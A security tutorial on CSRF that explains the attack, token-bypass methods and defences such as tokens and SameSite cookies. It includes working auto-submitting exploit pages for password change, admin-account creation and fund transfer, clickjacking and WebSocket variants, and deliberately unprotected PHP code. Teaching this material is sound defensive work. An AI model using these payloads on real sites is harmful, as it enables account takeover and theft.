By Davy Rogers. Use these techniques only in environments you own or have explicit permission to test.

Cross-Site Request Forgery (CSRF)

Cross-Site Request Forgery (CSRF) is an attack that forces an authenticated user to execute unwanted actions on a web application. The attacker tricks the victim into submitting malicious requests using their authenticated session. This lesson covers CSRF concepts, exploitation techniques, bypass methods, and prevention strategies.

What You'll Learn

  • What is CSRF
  • How CSRF attacks work
  • CSRF vs XSS differences
  • CSRF token bypasses
  • Same-Origin Policy (SOP)
  • Exploiting CSRF vulnerabilities
  • GET vs POST CSRF attacks
  • Advanced CSRF techniques
  • Prevention and mitigation

What is CSRF?

The Vulnerability

CSRF occurs when:

  1. User is authenticated to a web application
  2. Application doesn't verify request origin
  3. Attacker tricks user into making malicious request
  4. Request executes with user's privileges

Impact:

  • Change user settings
  • Transfer funds
  • Change passwords
  • Create admin accounts
  • Delete data
  • Any action the victim can perform

CSRF vs XSS

CSRF:
- Exploits trust that site has in user's browser
- Forces victim to send requests
- Uses victim's authentication
- No JavaScript needed

XSS:
- Exploits trust that user has in site
- Executes code in victim's browser
- Steals data/sessions
- Requires JavaScript injection

How CSRF Works

Simple Example

Vulnerable Banking Application:

// transfer.php
<?php
session_start();
if ($_SESSION['logged_in']) {
    $to = $_GET['to'];
    $amount = $_GET['amount'];
    
    // Transfer money (NO CSRF PROTECTION!)
    transfer_money($_SESSION['user_id'], $to, $amount);
    echo "Transferred $amount to $to";
}
?>

Normal Request:

https://bank.com/transfer.php?to=john&amount=100

Attack:

<!-- Attacker's malicious page -->
<img src="https://bank.com/transfer.php?to=attacker&amount=10000">

Attack Flow:

1. Victim logs into bank.com
2. Victim visits attacker's page (attacker.com)
3. Page loads image with malicious URL
4. Browser automatically sends request with victim's cookies
5. Bank transfers money to attacker

CSRF Attack Types

1. GET-based CSRF

Characteristics:

  • Simple to exploit
  • Works with images, links, CSS
  • Parameters in URL

Attack Vectors:

<!-- Image tag -->
<img src="https://site.com/delete?id=123">

<!-- Link -->
<a href="https://site.com/transfer?to=attacker&amount=1000">Click for prize!</a>

<!-- CSS background -->
<div style="background:url('https://site.com/action?param=value')"></div>

<!-- Script tag -->
<script src="https://site.com/action?param=value"></script>

<!-- IFrame -->
<iframe src="https://site.com/action?param=value"></iframe>

2. POST-based CSRF

Characteristics:

  • More common in modern apps
  • Parameters in request body
  • Requires form submission

Attack Vectors:

<!-- Auto-submit form -->
<html>
<body>
<form id="csrf" action="https://site.com/change-email" method="POST">
  <input type="hidden" name="email" value="[email protected]">
</form>
<script>
document.getElementById('csrf').submit();
</script>
</body>
</html>

With AJAX:

<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://site.com/change-password', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('password=hacked123');
</script>

Same-Origin Policy (SOP)

What is SOP?

Same-Origin Policy: Browser security mechanism that restricts how documents/scripts from one origin can interact with resources from another origin.

Origin Components:

Protocol + Domain + Port

https://example.com:443/page
└──┬──┘ └────┬─────┘ └┬┘
Protocol  Domain    Port

Examples:

Same Origin:
https://site.com/page1
https://site.com/page2

Different Origin:
https://site.com
http://site.com        (different protocol)
https://sub.site.com   (different domain)
https://site.com:8080  (different port)

SOP and CSRF

Key Point: SOP prevents reading responses, but NOT sending requests!

// This WORKS (CSRF):
fetch('https://bank.com/transfer?to=attacker&amount=1000', {
    credentials: 'include'  // Include cookies
});
// Request sent with cookies, action executes

// This FAILS (SOP blocks reading response):
fetch('https://bank.com/account-balance')
    .then(r => r.text())
    .then(data => console.log(data));  // SOP blocks this

CSRF Token Protection

What are CSRF Tokens?

CSRF Token: Random, unique value included in forms to verify request legitimacy.

How it works:

1. Server generates random token
2. Token stored in session
3. Token included in form
4. Server validates token on submission
5. Request rejected if token missing/invalid

Example:

<form action="/transfer" method="POST">
  <input type="hidden" name="csrf_token" value="a8f7bc9d3e2f1a4b6c8e0d9f7a5b3c1e">
  <input name="to" value="john">
  <input name="amount" value="100">
  <button type="submit">Transfer</button>
</form>

Bypassing CSRF Protection

1. Token Not Validated

Vulnerability: Token present but server doesn't validate it.

Test:

<!-- Remove token entirely -->
<form action="/transfer" method="POST">
  <input name="to" value="attacker">
  <input name="amount" value="1000">
</form>

<!-- Or send empty token -->
<input type="hidden" name="csrf_token" value="">

2. Token Not Tied to User Session

Vulnerability: Any valid token accepted.

Attack:

1. Attacker creates account
2. Gets valid CSRF token: abc123
3. Uses token in attack against victim
4. Victim's browser sends request with attacker's token
5. Server accepts token (not tied to victim's session)

3. Token in GET Request

Vulnerability: Token leaked in Referer header or logs.

Attack:

Victim visits: https://site.com/transfer?to=john&amount=100&csrf_token=abc123

Then visits attacker's site, Referer header leaks token:
Referer: https://site.com/transfer?to=john&amount=100&csrf_token=abc123

Attacker extracts token and uses it

4. Token Validation Only on POST

Vulnerability: GET requests bypass token validation.

Attack:

<!-- Change POST to GET -->
<img src="https://site.com/transfer?to=attacker&amount=1000">

5. Weak Token Generation

Vulnerability: Predictable tokens.

Examples:

md5(username)
md5(timestamp)
base64(username)

// Attacker can predict token

Vulnerability: Cookie-based tokens automatically sent.

Attack:

<!-- If token stored in cookie, browser auto-sends it -->
<form action="https://site.com/transfer" method="POST">
  <input name="to" value="attacker">
  <input name="amount" value="1000">
  <!-- No need to include token - browser sends cookie automatically -->
</form>

7. Referer Header Validation Bypass

Weak Validation:

// Check if referer contains site.com
if (strpos($_SERVER['HTTP_REFERER'], 'site.com') !== false) {
    // Allow
}

Bypass:

Host attack page at: https://attacker.com/site.com.html
Referer: https://attacker.com/site.com.html
Contains "site.com" - validation passes!

8. Subdomain Bypass

Vulnerability: CSRF protection trusts all subdomains.

Attack:

If attacker controls sub.site.com (via XSS or subdomain takeover)
Can launch CSRF from subdomain

Practical Examples

Example 1: GET-based CSRF (Password Change)

<!-- Attacker's page -->
<!DOCTYPE html>
<html>
<head>
    <title>Funny Cat Video</title>
</head>
<body>
    <h1>Loading video...</h1>
    
    <!-- Hidden CSRF attack -->
    <img src="https://vulnerable-site.com/change-password?new_password=hacked123" 
         style="display:none">
    
    <img src="cat.jpg">
</body>
</html>

Attack Flow:

  1. Victim logged into vulnerable-site.com
  2. Attacker sends link: "Check out this funny cat video!"
  3. Victim clicks link to attacker's page
  4. Page loads with hidden image
  5. Image URL triggers password change
  6. Victim's password changed to "hacked123"

Example 2: POST-based CSRF (Email Change)

<!-- Attacker's page -->
<!DOCTYPE html>
<html>
<body>
<h1>You've won a prize!</h1>
<p>Processing your entry...</p>

<form id="csrf" action="https://vulnerable-site.com/update-email" method="POST">
  <input type="hidden" name="email" value="[email protected]">
</form>

<script>
// Auto-submit form
document.getElementById('csrf').submit();
</script>
</body>
</html>

Example 3: Creating Admin Account

<!-- CSRF to create new admin user -->
<html>
<body>
<form id="attack" action="https://admin-panel.com/users/create" method="POST">
  <input type="hidden" name="username" value="backdoor">
  <input type="hidden" name="password" value="Secret123!">
  <input type="hidden" name="role" value="administrator">
</form>

<script>
document.getElementById('attack').submit();
</script>
</body>
</html>

Example 4: Fund Transfer

<!-- Banking CSRF attack -->
<html>
<body>
<h1>Claim your $1000 reward!</h1>
<button onclick="claim()">Click here to claim</button>

<iframe name="hidden" style="display:none"></iframe>

<form id="transfer" action="https://bank.com/transfer" method="POST" target="hidden">
  <input name="to_account" value="attacker_account_123">
  <input name="amount" value="5000">
  <input name="description" value="payment">
</form>

<script>
function claim() {
    document.getElementById('transfer').submit();
    alert('Congratulations! Reward will be sent to your account.');
}
</script>
</body>
</html>

Practical Pentesting Scenarios

Scenario 1: Password Change CSRF

# Target: https://site.com/change-password

# Step 1: Capture legitimate request
POST /change-password HTTP/1.1
Host: site.com
Cookie: session=abc123

password=newpass123&confirm=newpass123

# Step 2: Check for CSRF protection
# No csrf_token parameter = vulnerable!

# Step 3: Create exploit
cat > csrf_exploit.html << 'EOF'
<html>
<body>
<form id="csrf" action="https://site.com/change-password" method="POST">
  <input type="hidden" name="password" value="hacked123">
  <input type="hidden" name="confirm" value="hacked123">
</form>
<script>
document.getElementById('csrf').submit();
</script>
</body>
</html>
EOF

# Step 4: Host exploit
python3 -m http.server 80

# Step 5: Send link to victim
# http://ATTACKER_IP/csrf_exploit.html

Scenario 2: CSRF Token Bypass

# Target: Form with CSRF token

# Step 1: Capture request
POST /update-profile HTTP/1.1
Host: site.com
Cookie: session=abc123

csrf_token=xyz789&email=[email protected]

# Step 2: Test if token required
# Remove token and resubmit
csrf_token=&email=[email protected]

# If successful = token not validated!

# Step 3: Test if token tied to session
# Use your token in victim's request
csrf_token=YOUR_TOKEN&email=[email protected]

# If successful = token not session-specific!

Scenario 3: JSON CSRF

# Modern API with JSON

# Step 1: Capture request
POST /api/update HTTP/1.1
Host: api.site.com
Content-Type: application/json
Cookie: session=abc123

{"email":"[email protected]"}

# Step 2: Try form-based CSRF
<form action="https://api.site.com/api/update" method="POST" enctype="text/plain">
  <input name='{"email":"[email protected]", "ignore":"' value='"}'>
</form>

# Sends:
# {"email":"[email protected]", "ignore":"="}

# Step 3: If blocked by Content-Type check, use Flash/XHR exploits

Advanced CSRF Techniques

1. clickjacking + CSRF

<!-- Combine clickjacking with CSRF -->
<html>
<head>
<style>
iframe {
    position: absolute;
    opacity: 0.01;  /* Nearly invisible */
    z-index: 1000;
}
button {
    position: absolute;
    top: 200px;
    left: 300px;
}
</style>
</head>
<body>
<h1>Click the button to win $1000!</h1>
<button>CLAIM REWARD</button>

<iframe src="https://site.com/delete-account"></iframe>
<!-- User thinks they're clicking "CLAIM REWARD" 
     but actually clicking "Confirm Delete" in iframe -->
</body>
</html>

2. CSRF with File Upload

<form action="https://site.com/upload" method="POST" enctype="multipart/form-data">
  <input type="file" name="file" value="malicious.php">
</form>
<script>
document.forms[0].submit();
</script>

3. CSRF via WebSocket

// If WebSocket doesn't check origin
var ws = new WebSocket('wss://site.com/socket');
ws.onopen = function() {
    ws.send(JSON.stringify({
        action: 'delete_account',
        user_id: 'victim'
    }));
};

Detection and Testing

Manual Testing

1. Remove CSRF token
   - Does request still work?

2. Use another user's token
   - Is token tied to session?

3. Change POST to GET
   - Does GET request work?

4. Use static/predictable token
   - Can you predict token?

5. Check Referer validation
   - Can you bypass with fake referer?

Burp Suite

1. Capture request in Proxy
2. Right-click → Engagement Tools → Generate CSRF PoC
3. Test PoC in browser
4. Modify and test bypasses

Prevention and Mitigation

1. CSRF Tokens (Synchronizer Token Pattern)

// PHP example
session_start();

// Generate token
if (empty($_SESSION['csrf_token'])) {
    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}

// Include in form
echo '<input type="hidden" name="csrf_token" value="' . $_SESSION['csrf_token'] . '">';

// Validate on submission
if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) {
    die('CSRF token validation failed');
}

// PHP
setcookie('session', $session_id, [
    'samesite' => 'Strict',  // or 'Lax'
    'secure' => true,
    'httponly' => true
]);

Values:

Strict: Cookie never sent in cross-site requests
Lax: Cookie sent in top-level GET requests only
None: Cookie sent in all requests (requires Secure flag)

// Set CSRF token in cookie and require it in request
document.cookie = "csrf_token=" + token;

// Send token in header
fetch('/api/endpoint', {
    headers: {
        'X-CSRF-Token': getCookie('csrf_token')
    }
});

// Server validates cookie matches header

4. Custom Headers

// Require custom header
fetch('/api/endpoint', {
    method: 'POST',
    headers: {
        'X-Requested-With': 'XMLHttpRequest'
    }
});

// Server requires header
if (!isset($_SERVER['HTTP_X_REQUESTED_WITH'])) {
    die('Invalid request');
}

5. Referer/Origin Validation

// Check Origin header
$allowed_origins = ['https://site.com'];
$origin = $_SERVER['HTTP_ORIGIN'] ?? '';

if (!in_array($origin, $allowed_origins)) {
    die('Invalid origin');
}

6. Re-authentication for Sensitive Actions

// Require password for critical actions
if ($action === 'delete_account' || $action === 'transfer_money') {
    if (!verify_password($_POST['password'], $user_id)) {
        die('Password verification required');
    }
}

Quick Reference

GET CSRF:
<img src="https://site.com/action?param=value">
<script src="https://site.com/action"></script>

POST CSRF:
<form action="https://site.com/action" method="POST">
  <input name="param" value="value">
</form>
<script>document.forms[0].submit();</script>

AJAX CSRF:
fetch('https://site.com/action', {
    method: 'POST',
    credentials: 'include',
    body: 'param=value'
});

Bypasses:
- Remove token
- Use another user's token  
- Change POST to GET
- Bypass referer check

Prevention:
- CSRF tokens
- SameSite cookies
- Origin validation
- Custom headers
- Re-authentication

Resources

Tools

  • Burp Suite: CSRF PoC Generator
  • OWASP CSRFTester: CSRF testing tool
  • CSRFmap: CSRF scanner
  • Browser Developer Tools

Practice

  • DVWA (Damn Vulnerable Web Application)
  • bWAPP
  • WebGoat
  • PortSwigger CSRF Labs
  • HackTheBox

Further Reading


Next Steps

  1. Practice CSRF exploitation on legal targets
  2. Master CSRF token bypasses
  3. Learn SameSite cookie implementation
  4. Study modern frameworks CSRF protection
  5. Combine with other attacks (XSS + CSRF)

CSRF exploits the trust a site has in the user's browser. Understanding both exploitation and prevention is crucial!


"Trust, but verify (with CSRF tokens)!"